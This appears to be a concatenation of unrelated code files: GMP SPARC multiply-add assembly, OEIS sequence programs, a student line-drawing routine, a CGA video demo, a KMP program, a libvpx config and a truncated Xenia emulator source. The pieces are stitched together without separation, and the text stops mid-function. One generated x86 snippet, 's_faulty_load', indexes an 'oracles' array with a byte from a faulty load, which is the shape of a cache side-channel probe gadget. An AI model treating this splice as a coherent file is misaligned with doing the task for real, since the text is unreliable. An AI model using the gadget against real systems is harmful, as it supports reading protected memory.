dnl SPARC v9 32-bit mpn_addmul_1 -- Multiply a limb vector with a limb and add dnl the result to a second limb vector. dnl Copyright 1998, 2000, 2001, 2003 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C Algorithm: We use two floating-point multiplies per limb product, with the C invariant v operand split into two 16-bit pieces, and the u operand split C into 32-bit pieces. We convert the two 48-bit products and transfer them to C the integer unit. C cycles/limb C UltraSPARC 1&2: 6.5 C UltraSPARC 3: ? C Possible optimizations: C 1. Combine 32-bit memory operations into 64-bit operations. Since we're C memory bandwidth limited, this could save 1.5 cycles/limb. C 2. Unroll the inner loop. Since we already use alternate temporary areas, C it is very straightforward to unroll, using an exit branch midways. C Unrolling would allow deeper scheduling which could improve speed for L2 C cache case. C 3. For mpn_mul_1: Use more alternating temp areas. The std'es and ldx'es C aren't sufficiently apart-scheduled with just two temp areas. C 4. Specialize for particular v values. If its upper 16 bits are zero, we C could save many operations. C INPUT PARAMETERS C rp i0 C up i1 C n i2 C v i3 define(`FSIZE',224) ASM_START() PROLOGUE(mpn_addmul_1) add %sp, -FSIZE, %sp sethi %hi(0xffff), %g1 srl %o3, 16, %g2 or %g1, %lo(0xffff), %g1 and %o3, %g1, %g1 stx %g1, [%sp+104] stx %g2, [%sp+112] ldd [%sp+104], %f6 ldd [%sp+112], %f8 fxtod %f6, %f6 fxtod %f8, %f8 ld [%sp+104], %f10 C zero f10 mov 0, %g3 C cy = 0 define(`fanop', `fitod %f18, %f0') C A quasi nop running in the FA pipe add %sp, 160, %o5 C point in scratch area and %o5, -32, %o5 C align at 0 (mod 32) in scratch area subcc %o2, 1, %o2 ld [%o1], %f11 C read up[i] add %o1, 4, %o1 C up++ bne,pt %icc, .L_two_or_more fxtod %f10, %f2 fmuld %f2, %f8, %f16 fmuld %f2, %f6, %f4 fdtox %f16, %f14 fdtox %f4, %f12 std %f14, [%o5+16] std %f12, [%o5+24] ldx [%o5+16], %g2 C p16 ldx [%o5+24], %g1 C p0 lduw [%o0], %g5 C read rp[i] b .L1 add %o0, -16, %o0 .align 16 .L_two_or_more: subcc %o2, 1, %o2 ld [%o1], %f11 C read up[i] fmuld %f2, %f8, %f16 fmuld %f2, %f6, %f4 add %o1, 4, %o1 C up++ bne,pt %icc, .L_three_or_more fxtod %f10, %f2 fdtox %f16, %f14 fdtox %f4, %f12 std %f14, [%o5+16] fmuld %f2, %f8, %f16 std %f12, [%o5+24] fmuld %f2, %f6, %f4 fdtox %f16, %f14 fdtox %f4, %f12 std %f14, [%o5+0] std %f12, [%o5+8] lduw [%o0], %g5 C read rp[i] ldx [%o5+16], %g2 C p16 ldx [%o5+24], %g1 C p0 b .L2 add %o0, -12, %o0 .align 16 .L_three_or_more: subcc %o2, 1, %o2 ld [%o1], %f11 C read up[i] fdtox %f16, %f14 fdtox %f4, %f12 std %f14, [%o5+16] fmuld %f2, %f8, %f16 std %f12, [%o5+24] fmuld %f2, %f6, %f4 add %o1, 4, %o1 C up++ bne,pt %icc, .L_four_or_more fxtod %f10, %f2 fdtox %f16, %f14 fdtox %f4, %f12 std %f14, [%o5+0] fmuld %f2, %f8, %f16 std %f12, [%o5+8] fmuld %f2, %f6, %f4 fdtox %f16, %f14 ldx [%o5+16], %g2 C p16 fdtox %f4, %f12 ldx [%o5+24], %g1 C p0 std %f14, [%o5+16] std %f12, [%o5+24] lduw [%o0], %g5 C read rp[i] b .L3 add %o0, -8, %o0 .align 16 .L_four_or_more: subcc %o2, 1, %o2 ld [%o1], %f11 C read up[i] fdtox %f16, %f14 fdtox %f4, %f12 std %f14, [%o5+0] fmuld %f2, %f8, %f16 std %f12, [%o5+8] fmuld %f2, %f6, %f4 add %o1, 4, %o1 C up++ bne,pt %icc, .L_five_or_more fxtod %f10, %f2 fdtox %f16, %f14 ldx [%o5+16], %g2 C p16 fdtox %f4, %f12 ldx [%o5+24], %g1 C p0 std %f14, [%o5+16] fmuld %f2, %f8, %f16 std %f12, [%o5+24] fmuld %f2, %f6, %f4 add %o1, 4, %o1 C up++ lduw [%o0], %g5 C read rp[i] b .L4 add %o0, -4, %o0 .align 16 .L_five_or_more: subcc %o2, 1, %o2 ld [%o1], %f11 C read up[i] fdtox %f16, %f14 ldx [%o5+16], %g2 C p16 fdtox %f4, %f12 ldx [%o5+24], %g1 C p0 std %f14, [%o5+16] fmuld %f2, %f8, %f16 std %f12, [%o5+24] fmuld %f2, %f6, %f4 add %o1, 4, %o1 C up++ lduw [%o0], %g5 C read rp[i] bne,pt %icc, .Loop fxtod %f10, %f2 b,a .L5 C BEGIN MAIN LOOP .align 16 C -- 0 .Loop: nop subcc %o2, 1, %o2 ld [%o1], %f11 C read up[i] fdtox %f16, %f14 C -- 1 sllx %g2, 16, %g4 C (p16 << 16) add %o0, 4, %o0 C rp++ ldx [%o5+0], %g2 C p16 fdtox %f4, %f12 C -- 2 nop add %g1, %g4, %g4 C p = p0 + (p16 << 16) ldx [%o5+8], %g1 C p0 fanop C -- 3 nop add %g3, %g4, %g4 C p += cy std %f14, [%o5+0] fmuld %f2, %f8, %f16 C -- 4 nop add %g5, %g4, %g4 C p += rp[i] std %f12, [%o5+8] fmuld %f2, %f6, %f4 C -- 5 xor %o5, 16, %o5 C alternate scratch variables add %o1, 4, %o1 C up++ stw %g4, [%o0-4] fanop C -- 6 srlx %g4, 32, %g3 C new cy lduw [%o0], %g5 C read rp[i] bne,pt %icc, .Loop fxtod %f10, %f2 C END MAIN LOOP .L5: fdtox %f16, %f14 sllx %g2, 16, %g4 C (p16 << 16) ldx [%o5+0], %g2 C p16 fdtox %f4, %f12 add %g1, %g4, %g4 C p = p0 + (p16 << 16) ldx [%o5+8], %g1 C p0 add %g4, %g3, %g4 C p += cy std %f14, [%o5+0] fmuld %f2, %f8, %f16 add %g5, %g4, %g4 C p += rp[i] std %f12, [%o5+8] fmuld %f2, %f6, %f4 xor %o5, 16, %o5 stw %g4, [%o0+0] srlx %g4, 32, %g3 C new cy lduw [%o0+4], %g5 C read rp[i] .L4: fdtox %f16, %f14 sllx %g2, 16, %g4 C (p16 << 16) ldx [%o5+0], %g2 C p16 fdtox %f4, %f12 add %g1, %g4, %g4 C p = p0 + (p16 << 16) ldx [%o5+8], %g1 C p0 add %g3, %g4, %g4 C p += cy std %f14, [%o5+0] add %g5, %g4, %g4 C p += rp[i] std %f12, [%o5+8] xor %o5, 16, %o5 stw %g4, [%o0+4] srlx %g4, 32, %g3 C new cy lduw [%o0+8], %g5 C read rp[i] .L3: sllx %g2, 16, %g4 C (p16 << 16) ldx [%o5+0], %g2 C p16 add %g1, %g4, %g4 C p = p0 + (p16 << 16) ldx [%o5+8], %g1 C p0 add %g3, %g4, %g4 C p += cy add %g5, %g4, %g4 C p += rp[i] xor %o5, 16, %o5 stw %g4, [%o0+8] srlx %g4, 32, %g3 C new cy lduw [%o0+12], %g5 C read rp[i] .L2: sllx %g2, 16, %g4 C (p16 << 16) ldx [%o5+0], %g2 C p16 add %g1, %g4, %g4 C p = p0 + (p16 << 16) ldx [%o5+8], %g1 C p0 add %g3, %g4, %g4 C p += cy add %g5, %g4, %g4 C p += rp[i] stw %g4, [%o0+12] srlx %g4, 32, %g3 C new cy lduw [%o0+16], %g5 C read rp[i] .L1: sllx %g2, 16, %g4 C (p16 << 16) add %g1, %g4, %g4 C p = p0 + (p16 << 16) add %g3, %g4, %g4 C p += cy add %g5, %g4, %g4 C p += rp[i] stw %g4, [%o0+16] srlx %g4, 32, %g3 C new cy mov %g3, %o0 retl sub %sp, -FSIZE, %sp EPILOGUE(mpn_addmul_1)
; A052681: E.g.f. (1-x)/(1-x-x^2-2x^3+2x^4). ; Submitted by Christian Krause ; 1,0,2,18,48,840,9360,90720,1653120,25764480,442713600,9540115200,201659673600,4744989849600,123531638630400,3325415917824000,97123590660096000,3021564701675520000,98526128957448192000 mov $2,$0 seq $0,52546 ; Expansion of (1-x)/(1-x-x^2-2*x^3+2*x^4). lpb $2 mul $0,$2 sub $2,1 lpe
; A016996: a(n) = (7*n + 1)^4. ; 1,4096,50625,234256,707281,1679616,3418801,6250000,10556001,16777216,25411681,37015056,52200625,71639296,96059601,126247696,163047361,207360000,260144641,322417936,395254161,479785216,577200625,688747536,815730721,959512576,1121513121,1303210000,1506138481,1731891456,1982119441,2258530576,2562890625,2897022976,3262808641,3662186256,4097152081,4569760000,5082121521,5636405776,6234839521,6879707136,7573350625,8318169616,9116621361,9971220736,10884540241,11859210000,12897917761,14003408896,15178486401,16426010896,17748900625,19150131456,20632736881,22199808016,23854493601,25600000000,27439591201,29376588816,31414372081,33556377856,35806100625,38167092496,40642963201,43237380096,45954068161,48796810000,51769445841,54875873536,58120048561,61505984016,65037750625,68719476736,72555348321,76549608976,80706559921,85030560000,89526025681,94197431056,99049307841,104086245376,109312890625,114733948176,120354180241,126178406656,132211504881,138458410000,144924114721,151613669376,158532181921,165684817936,173076800625,180713410816,188599986961,196741925136,205144679041,213813760000,222754736961,231973236496 mul $0,7 add $0,1 pow $0,4
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0xe180, %rsi lea addresses_A_ht+0xaf52, %rdi nop nop nop sub $7854, %rax mov $43, %rcx rep movsl nop nop nop nop nop and $25601, %rax lea addresses_UC_ht+0xeb52, %r10 nop nop nop nop xor %rax, %rax vmovups (%r10), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r15 nop nop nop nop nop xor $6610, %r10 lea addresses_WT_ht+0x8f52, %rdi nop nop and $15663, %rsi movups (%rdi), %xmm7 vpextrq $0, %xmm7, %r15 nop nop nop nop xor $40776, %r15 lea addresses_WT_ht+0x18f52, %rsi lea addresses_A_ht+0x10752, %rdi nop nop nop nop sub %r9, %r9 mov $27, %rcx rep movsb xor %rax, %rax lea addresses_WC_ht+0x14602, %rdi nop and %rcx, %rcx movb $0x61, (%rdi) nop nop nop nop and %r15, %r15 lea addresses_WC_ht+0x15352, %r10 nop sub $29393, %rcx mov $0x6162636465666768, %r15 movq %r15, (%r10) nop nop nop nop sub $49454, %rdi lea addresses_D_ht+0x7352, %rsi lea addresses_normal_ht+0x9752, %rdi nop nop nop nop nop xor %r14, %r14 mov $1, %rcx rep movsl nop nop nop nop nop inc %r10 lea addresses_normal_ht+0xef52, %rsi lea addresses_WT_ht+0x14b52, %rdi xor %r10, %r10 mov $115, %rcx rep movsl inc %rdi lea addresses_A_ht+0xc252, %rcx nop inc %r9 mov $0x6162636465666768, %r15 movq %r15, (%rcx) nop nop inc %r15 lea addresses_WC_ht+0xcf52, %rsi lea addresses_WC_ht+0x43ca, %rdi nop nop nop nop add $49225, %r15 mov $112, %rcx rep movsw nop nop nop nop and $21802, %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r8 push %r9 push %rbx push %rcx push %rdi // Store lea addresses_US+0x1df52, %r8 nop nop nop nop nop xor $36795, %rbx mov $0x5152535455565758, %r10 movq %r10, %xmm2 movaps %xmm2, (%r8) nop nop nop sub $20218, %rcx // Store lea addresses_normal+0xb208, %r14 nop nop sub $48710, %r9 mov $0x5152535455565758, %r10 movq %r10, %xmm1 vmovups %ymm1, (%r14) nop and %rbx, %rbx // Store lea addresses_RW+0x7f52, %r8 nop nop dec %rbx movw $0x5152, (%r8) sub %rbx, %rbx // Store lea addresses_PSE+0x1abd2, %r9 nop nop and $8507, %r10 movw $0x5152, (%r9) sub %r9, %r9 // Store lea addresses_normal+0xe452, %r10 and $8657, %r8 movl $0x51525354, (%r10) nop nop nop cmp %r9, %r9 // Faulty Load lea addresses_US+0x1df52, %r10 nop nop nop inc %rdi vmovups (%r10), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %r8 lea oracles, %r10 and $0xff, %r8 shlq $12, %r8 mov (%r10,%r8,1), %r8 pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'00': 8} 00 00 00 00 00 00 00 00 */
; A014829: a(1)=1, a(n) = 6*a(n-1) + n. ; 1,8,51,310,1865,11196,67183,403106,2418645,14511880,87071291,522427758,3134566561,18807399380,112844396295,677066377786,4062398266733,24374389600416,146246337602515,877478025615110,5264868153690681,31589208922144108,189535253532864671,1137211521197188050,6823269127183128325,40939614763098769976,245637688578592619883,1473826131471555719326,8842956788829334315985,53057740732976005895940,318346444397856035375671,1910078666387136212254058,11460471998322817273524381,68762831989936903641146320 mov $2,$0 seq $0,247840 ; Sum(6^k, k=2..n). sub $0,$2 div $0,5 add $0,1
; ######################################################################### ; ; lines.asm - Assembly file for EECS205 Assignment 2 ; ; Modified by: Ryan Hodin (NetID rah025) ; ; ######################################################################### .586 .MODEL FLAT,STDCALL .STACK 4096 option casemap :none ; case sensitive include stars.inc include lines.inc .DATA ;; If you need to, you can place global variables here .CODE ;; Don't forget to add the USES the directive here ;; Place any registers that you modify (either explicitly or implicitly) ;; into the USES list so that caller's values can be preserved ;; For example, if your procedure uses only the eax and ebx registers ;; DrawLine PROC USES eax ebx x0:DWORD, y0:DWORD, x1:DWORD, y1:DWORD, color:DWORD DrawLine PROC USES eax ebx ecx edx esi x0:DWORD, y0:DWORD, x1:DWORD, y1:DWORD, color:DWORD ;; Feel free to use local variables...declare them here ;; For example: ;; LOCAL foo:DWORD, bar:DWORD LOCAL deltax:DWORD, deltay:DWORD, ix:DWORD, iy:DWORD ;; Place your code here ;; First, setup deltax and deltay with absolute values ;; delta_x = abs(x1-x0) mov eax, x1 sub eax, x0 jge L1 ; Only negate if x1<x0, that is if (x1-x0)<0 neg eax L1: mov deltax, eax ;; delta_y = abs(y1-y0) mov eax, y1 sub eax, y0 jge L2 ; Only negate if y1<y0, that is if (y1-y0)<0 neg eax L2: mov deltay, eax ;; Now, setup increments ;; if (x0<x1) inc_x=1 else inc_x = -1 mov eax, x0 mov ix, 1 ; Set ix to 1 cmp eax, x1 jl L3 neg ix ; Negate ix iff x0>=x1 L3: ;; if (y0<y1) inc_y=1 else inc_y = -1 mov eax, y0 mov iy, 1 cmp eax, y1 jl L4 neg iy ; Negate iy iff y0>=y1 ;; Now, setup error L4: ;; if (delta_x>delta_y) ... mov eax, deltax xor edx, edx ; Null edx for idiv - Note that this is a recognized zeroing idiom on all CPUs, and therefore is strictly better than mov edx, 0 mov ebx, 2 ; For idiv cmp eax, deltay ; Actual comparison jle L5 ;; error=delta_x/2 idiv ebx ; eax=delta_x/2 jmp L6 L5: ;; else error=-delta_y/2 mov eax, deltay ; To correctly divide deltay idiv ebx ; eax=delta_y/2 neg eax ; eax=-delta_y/2 L6: ; By here, eax is error ;; Setup current coords ;; curr_x=x0 ;; curr_y=y0 mov ebx, x0 ; ebx is curr_x mov ecx, y0 ; ecx is curr_y ;; Now, the drawing loop. ;; First, the conditional COND: ;; while (curr_x!=x1 OR curr_y!=y1) cmp ebx, x1 jne BODY ; Jump to body if curr_x!=x1 cmp ecx, y1 jne BODY ; Jump to body if curr_y!=y1 ret ; If neither condition is met, the loop is complete and we return ;; Loop body BODY: ;; DrawPixel(curr_x, curr_y, color) invoke DrawPixel, ebx, ecx, color ;; prev_error=error mov edx, eax ; edx is prev_error ;; if (prev_error>-delta_x) mov esi, deltax ; So we can negate deltax neg esi cmp edx, esi jle L7 ;; error=error-delta_y ;; curr_x=curr_x+inc_x sub eax, deltay add ebx, ix L7: ;; if (prev_error<delta_y) cmp edx, deltay jge COND ; If prev_error>=delta_y, jump back to the conditional early. Else... ;; error=error+delta_x ;; curr_y=curr_y=inc_y add eax, deltax add ecx, iy jmp COND ; Jump back to the conditional DrawLine ENDP END
%include "../defaults_com.asm" cli xor ax,ax mov ds,ax getInterrupt 9, oldInterrupt9 setInterrupt 9, interrupt9 mov ax,cs mov ds,ax ; Set mode. mov ax,4 int 0x10 ; Mode 0a ; 1 +HRES 0 ; 2 +GRPH 2 ; 4 +BW 0 ; 8 +VIDEO ENABLE 8 ; 0x10 +1BPP 0 ; 0x20 +ENABLE BLINK 0 mov dx,0x3d8 mov al,0x0a out dx,al ; Palette 00 ; 1 +OVERSCAN B 0 ; 2 +OVERSCAN G 0 ; 4 +OVERSCAN R 0 ; 8 +OVERSCAN I 0 ; 0x10 +BACKGROUND I 0 ; 0x20 +COLOR SEL 0 inc dx mov al,0 out dx,al mov dl,0xd4 ; 0xff Horizontal Total 0x71 == 912*2/16 - 1 mov ax,0x7100 out dx,ax ; 0xff Horizontal Displayed 0x28 == 40 mov ax,0x2801 out dx,ax ; 0xff Horizontal Sync Position 0x2d == 45 mov ax,0x2d02 out dx,ax ; 0x0f Horizontal Sync Width 0x0a == 10 mov ax,0x0a03 out dx,ax ; 0x7f Vertical Total 0x3f == 64 - 1 (CRTC total scanlines == 64*2 + 3 == 131 == 262/2) mov ax,0x3f04 out dx,ax ; 0x1f Vertical Total Adjust 0x03 mov ax,0x0305 out dx,ax ; 0x7f Vertical Displayed 0x32 == 50 (CRTC displayed scanlines == 50*2 == 100) mov ax,0x3206 out dx,ax ; 0x7f Vertical Sync Position 0x38 == 56 mov ax,0x3807 out dx,ax ; 0x03 Interlace Mode 0x02 mov ax,0x0208 out dx,ax ; 0x1f Max Scan Line Address 0x01 == 2 - 1 mov ax,0x0109 out dx,ax ; Cursor Start 0x1f ; 0x1f Cursor Start 0x1f ; 0x60 Cursor Mode 0x00 mov ax,0x1f0a out dx,ax ; 0x1f Cursor End 0x1f inc ax out dx,ax ; 0x3f Start Address (H) 0x00 mov ax,0x000c out dx,ax ; 0xff Start Address (L) 0x00 inc ax out dx,ax ; 0x3f Cursor (H) 0x00 inc ax out dx,ax ; 0xff Cursor (L) 0x00 inc ax out dx,ax ; Copy data to video memory mov ax,0xb800 mov es,ax mov si,videoData xor di,di mov cx,0x2000 rep movsw mov dx,0x3da sti frameLoop: waitForVerticalSync cli mov dl,0xd4 ; 0x3f Start Address (H) 0x00 mov ax,0x000c out dx,ax ; 0xff Horizontal Sync Position 0x2d == 45 mov ax,0x2d02 out dx,ax mov dl,0xd8 mov al,0x0a ; INSERT MODE REGISTER VALUE FOR FIELD 0 HERE out dx,al inc dx mov al,0x00 ; INSERT PALETTE REGISTER VALUE FOR FIELD 0 HERE out dx,al mov dl,0xda sti waitForNoVerticalSync waitForVerticalSync cli mov dl,0xd4 ; 0x3f Start Address (H) 0x08 (start address for second page == CRTC address 0x800 == CPU address 0x1000) mov ax,0x080c out dx,ax ; 0xff Horizontal Sync Position 0x66 == 45 + 912/16 mov ax,0x2d02 out dx,ax mov dl,0xd8 mov al,0x0a ; INSERT MODE REGISTER VALUE FOR FIELD 1 HERE out dx,al inc dx mov al,0x00 ; INSERT PALETTE REGISTER VALUE FOR FIELD 1 HERE out dx,al mov al,[lastScanCode] mov byte[lastScanCode],0 cmp al,1 ; Press ESC to end program je finished mov dl,0xda sti waitForNoVerticalSync jmp frameLoop finished: mov ax,3 int 0x10 xor ax,ax mov ds,ax restoreInterrupt 9, oldInterrupt9 sti ret interrupt9: push ax in al,0x60 mov [lastScanCode],al in al,0x61 or al,0x80 out 0x61,al and al,0x7f out 0x61,al mov al,0x20 out 0x20,al pop ax iret oldInterrupt9: dw 0,0 lastScanCode: db 0 videoData: // Append video memory data here. // 0x4000 bytes, 80 bytes per line, left to right, 2bpp, MSB on left // 0x0000-0x0f9f: even lines on first field // 0x0fa0-0x0fff: unused // 0x1000-0x1f9f: even lines on second field // 0x1fa0-0x1fff: unused // 0x2000-0x2f9f: odd lines on first field // 0x2fa0-0x2fff: unused // 0x3000-0x3f9f: odd lines on second field // 0x3fa0-0x3fff: unused
#include<iostream> #include<vector> #include<string> using namespace std; string s1, s2; void kmp() { string new_s = s2+"#"+s1; vector<int> prefix_func(new_s.size()); for(int i = 1; i < new_s.size(); i++) { int j = prefix_func[i-1]; while(j>0&&new_s[j]!=new_s[i]) j=prefix_func[j-1]; if(new_s[i]==new_s[j]) j++; prefix_func[i] = j; } cout << new_s << endl; for(auto v:prefix_func) cout << v << " "; cout << endl; } int main() { cin >> s1 >> s2; kmp(); return 0; }
@ This file was created from a .asm file @ using the ads2gas.pl script. .equ DO1STROUNDING, 0 .equ ARCH_ARM , 0 .equ ARCH_MIPS , 0 .equ ARCH_X86 , 0 .equ ARCH_X86_64 , 0 .equ HAVE_EDSP , 0 .equ HAVE_MEDIA , 0 .equ HAVE_NEON , 0 .equ HAVE_NEON_ASM , 0 .equ HAVE_MIPS32 , 0 .equ HAVE_DSPR2 , 0 .equ HAVE_MSA , 0 .equ HAVE_MIPS64 , 0 .equ HAVE_MMX , 0 .equ HAVE_SSE , 0 .equ HAVE_SSE2 , 0 .equ HAVE_SSE3 , 0 .equ HAVE_SSSE3 , 0 .equ HAVE_SSE4_1 , 0 .equ HAVE_AVX , 0 .equ HAVE_AVX2 , 0 .equ HAVE_VPX_PORTS , 1 .equ HAVE_PTHREAD_H , 1 .equ HAVE_UNISTD_H , 0 .equ CONFIG_DEPENDENCY_TRACKING , 1 .equ CONFIG_EXTERNAL_BUILD , 1 .equ CONFIG_INSTALL_DOCS , 0 .equ CONFIG_INSTALL_BINS , 1 .equ CONFIG_INSTALL_LIBS , 1 .equ CONFIG_INSTALL_SRCS , 0 .equ CONFIG_USE_X86INC , 0 .equ CONFIG_DEBUG , 0 .equ CONFIG_GPROF , 0 .equ CONFIG_GCOV , 0 .equ CONFIG_RVCT , 0 .equ CONFIG_GCC , 1 .equ CONFIG_MSVS , 0 .equ CONFIG_PIC , 1 .equ CONFIG_BIG_ENDIAN , 0 .equ CONFIG_CODEC_SRCS , 0 .equ CONFIG_DEBUG_LIBS , 0 .equ CONFIG_DEQUANT_TOKENS , 0 .equ CONFIG_DC_RECON , 0 .equ CONFIG_RUNTIME_CPU_DETECT , 0 .equ CONFIG_POSTPROC , 1 .equ CONFIG_VP9_POSTPROC , 1 .equ CONFIG_MULTITHREAD , 1 .equ CONFIG_INTERNAL_STATS , 0 .equ CONFIG_VP8_ENCODER , 1 .equ CONFIG_VP8_DECODER , 1 .equ CONFIG_VP9_ENCODER , 1 .equ CONFIG_VP9_DECODER , 1 .equ CONFIG_VP8 , 1 .equ CONFIG_VP9 , 1 .equ CONFIG_ENCODERS , 1 .equ CONFIG_DECODERS , 1 .equ CONFIG_STATIC_MSVCRT , 0 .equ CONFIG_SPATIAL_RESAMPLING , 1 .equ CONFIG_REALTIME_ONLY , 1 .equ CONFIG_ONTHEFLY_BITPACKING , 0 .equ CONFIG_ERROR_CONCEALMENT , 0 .equ CONFIG_SHARED , 0 .equ CONFIG_STATIC , 1 .equ CONFIG_SMALL , 0 .equ CONFIG_POSTPROC_VISUALIZER , 0 .equ CONFIG_OS_SUPPORT , 1 .equ CONFIG_UNIT_TESTS , 0 .equ CONFIG_WEBM_IO , 1 .equ CONFIG_LIBYUV , 1 .equ CONFIG_DECODE_PERF_TESTS , 0 .equ CONFIG_ENCODE_PERF_TESTS , 0 .equ CONFIG_MULTI_RES_ENCODING , 1 .equ CONFIG_TEMPORAL_DENOISING , 1 .equ CONFIG_VP9_TEMPORAL_DENOISING , 1 .equ CONFIG_COEFFICIENT_RANGE_CHECKING , 0 .equ CONFIG_VP9_HIGHBITDEPTH , 0 .equ CONFIG_BETTER_HW_COMPATIBILITY , 0 .equ CONFIG_EXPERIMENTAL , 0 .equ CONFIG_SIZE_LIMIT , 1 .equ CONFIG_SPATIAL_SVC , 0 .equ CONFIG_FP_MB_STATS , 0 .equ CONFIG_EMULATE_HARDWARE , 0 .equ CONFIG_MISC_FIXES , 0 .equ DECODE_WIDTH_LIMIT , 16384 .equ DECODE_HEIGHT_LIMIT , 16384 .section .note.GNU-stack,"",%progbits
/** ****************************************************************************** * Xenia : Xbox 360 Emulator Research Project * ****************************************************************************** * Copyright 2014 Ben Vanik. All rights reserved. * * Released under the BSD license - see LICENSE in the root for more details. * ****************************************************************************** */ #include <xenia/gpu/command_processor.h> #include <xenia/gpu/gpu-private.h> #include <xenia/gpu/graphics_driver.h> #include <xenia/gpu/graphics_system.h> #include <xenia/gpu/xenos/packets.h> using namespace xe; using namespace xe::gpu; using namespace xe::gpu::xenos; #define XETRACECP(fmt, ...) if (FLAGS_trace_ring_buffer) XELOGGPU(fmt, ##__VA_ARGS__) CommandProcessor::CommandProcessor( GraphicsSystem* graphics_system, Memory* memory) : graphics_system_(graphics_system), memory_(memory), driver_(0) { write_ptr_index_event_ = CreateEvent(NULL, FALSE, FALSE, NULL); primary_buffer_ptr_ = 0; primary_buffer_size_ = 0; read_ptr_index_ = 0; read_ptr_update_freq_ = 0; read_ptr_writeback_ptr_ = 0; write_ptr_index_ = 0; write_ptr_max_index_ = 0; LARGE_INTEGER perf_counter; QueryPerformanceCounter(&perf_counter); time_base_ = perf_counter.QuadPart; counter_ = 0; } CommandProcessor::~CommandProcessor() { SetEvent(write_ptr_index_event_); CloseHandle(write_ptr_index_event_); } uint64_t CommandProcessor::QueryTime() { LARGE_INTEGER perf_counter; QueryPerformanceCounter(&perf_counter); return perf_counter.QuadPart - time_base_; } void CommandProcessor::Initialize(GraphicsDriver* driver, uint32_t ptr, uint32_t page_count) { driver_ = driver; primary_buffer_ptr_ = ptr; // Not sure this is correct, but it's a way to take the page_count back to // the number of bytes allocated by the physical alloc. uint32_t original_size = 1 << (0x1C - page_count - 1); primary_buffer_size_ = original_size; read_ptr_index_ = 0; // Tell the driver what to use for translation. driver_->set_address_translation(primary_buffer_ptr_ & ~0x1FFFFFFF); } void CommandProcessor::EnableReadPointerWriteBack(uint32_t ptr, uint32_t block_size) { // CP_RB_RPTR_ADDR Ring Buffer Read Pointer Address 0x70C // ptr = RB_RPTR_ADDR, pointer to write back the address to. read_ptr_writeback_ptr_ = (primary_buffer_ptr_ & ~0x1FFFFFFF) + ptr; // CP_RB_CNTL Ring Buffer Control 0x704 // block_size = RB_BLKSZ, number of quadwords read between updates of the // read pointer. read_ptr_update_freq_ = (uint32_t)pow(2.0, (double)block_size) / 4; } void CommandProcessor::UpdateWritePointer(uint32_t value) { write_ptr_max_index_ = MAX(write_ptr_max_index_, value); write_ptr_index_ = value; SetEvent(write_ptr_index_event_); } void CommandProcessor::Pump() { uint8_t* p = memory_->membase(); while (write_ptr_index_ == 0xBAADF00D || read_ptr_index_ == write_ptr_index_) { // Check if the pointer has moved. // We wait a short bit here to yield time. Since we are also running the // main window display we don't want to pause too long, though. // YieldProcessor(); const int wait_time_ms = 1; if (WaitForSingleObject(write_ptr_index_event_, wait_time_ms) == WAIT_TIMEOUT) { return; } } // Bring local so we don't have to worry about them changing out from under // us. 